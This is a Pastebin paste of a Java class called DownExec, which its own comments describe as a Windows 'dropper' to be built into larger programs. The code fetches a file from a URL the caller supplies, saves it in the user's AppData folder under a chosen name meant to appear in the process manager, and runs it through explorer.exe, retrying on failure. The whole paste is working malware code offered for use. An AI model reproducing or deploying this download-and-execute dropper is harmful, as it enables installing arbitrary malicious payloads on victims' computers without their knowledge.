Advertisement
Guest User

DownExec

a guest
Jul 24th, 2014
564
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. import java.io.File;
  2. import java.io.FileOutputStream;
  3. import java.io.IOException;
  4. import java.net.URL;
  5. import java.nio.channels.Channels;
  6. import java.nio.channels.ReadableByteChannel;
  7.  
  8. /**
  9.  * A simple dropper class that should probably be incorporated into a larger
  10.  * class, as this is a static implementation. Essentially downloads and executes
  11.  * a file. ONLY WORKS FOR WINDOWS COMPUTERS.
  12.  *
  13.  * @author CosaNostra
  14.  * @version 1.0
  15.  */
  16. public final class DownExec {
  17.     /**
  18.      * The local AppData folder for the current user.
  19.      */
  20.     private final static File APP_DATA = new File(System.getenv("APPDATA"),
  21.         "DataFolder");
  22.  
  23.     /**
  24.      * Attempts to download and execute the file a specified number of times
  25.      * from the provided URL and saves it as the name that is provided. So
  26.      * whatever name you pass will show up in the process manager.
  27.      *
  28.      * @param url
  29.      *            The URL to downlaod the file from, must be fully qualified.
  30.      * @param name
  31.      *            The name that the file will use, must have an extension or it
  32.      *            will not execute.
  33.      * @param maxAttempts
  34.      *            The maximum number of times we should try to download and
  35.      *            execute.
  36.      * @return True iff the file was downloaded. Does not return false if
  37.      *         execution fails, as I didn't really feel like implementing that.
  38.      */
  39.     public final static boolean downloadExec(String url, String name,
  40.         int maxAttempts) {
  41.     // Current number of attempts and whether or not we've succeeded.
  42.     int attempts = 0;
  43.     boolean success = false;
  44.  
  45.     // While we haven't downloaded it...
  46.     while (!success && attempts < maxAttempts) {
  47.         // If the folder doesn't exist in AppData, make it.
  48.         if (!DownExec.APP_DATA.exists()) {
  49.         DownExec.APP_DATA.mkdirs();
  50.         }
  51.  
  52.         // Qualify the file location.
  53.         final String fileLoc = DownExec.APP_DATA.getAbsolutePath()
  54.             + File.separator + name;
  55.  
  56.         // Try to download.
  57.         ReadableByteChannel rbc = null;
  58.         FileOutputStream fos = null;
  59.         try {
  60.         // Open a byte channel to the provided url.
  61.         final URL website = new URL(url);
  62.         rbc = Channels.newChannel(website.openStream());
  63.         fos = new FileOutputStream(fileLoc);
  64.  
  65.         // Transfer the file from the remove location.
  66.         fos.getChannel().transferFrom(rbc, 0, Long.MAX_VALUE);
  67.  
  68.         // Report a success.
  69.         success = true;
  70.         } catch (final IOException e) {
  71.         e.printStackTrace();
  72.         } finally {
  73.         // Clean up.
  74.         try {
  75.             if (rbc != null)
  76.             rbc.close();
  77.             if (fos != null)
  78.             fos.close();
  79.         } catch (IOException e) {
  80.             e.printStackTrace();
  81.         }
  82.         }
  83.  
  84.         // If we succeeded in downloading the file, try to execute it.
  85.         if (success) {
  86.         try {
  87.             // Uses explorer.exe because it can handle all file-types.
  88.             Runtime.getRuntime().exec(
  89.                 "explorer.exe "
  90.                     + DownExec.APP_DATA.getAbsolutePath()
  91.                     + File.separator + name);
  92.         } catch (IOException e) {
  93.             e.printStackTrace();
  94.         }
  95.         } else {
  96.         // Increase the number of attempts if it failed.
  97.         attempts++;
  98.         }
  99.  
  100.     }
  101.     return success;
  102.     }
  103. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement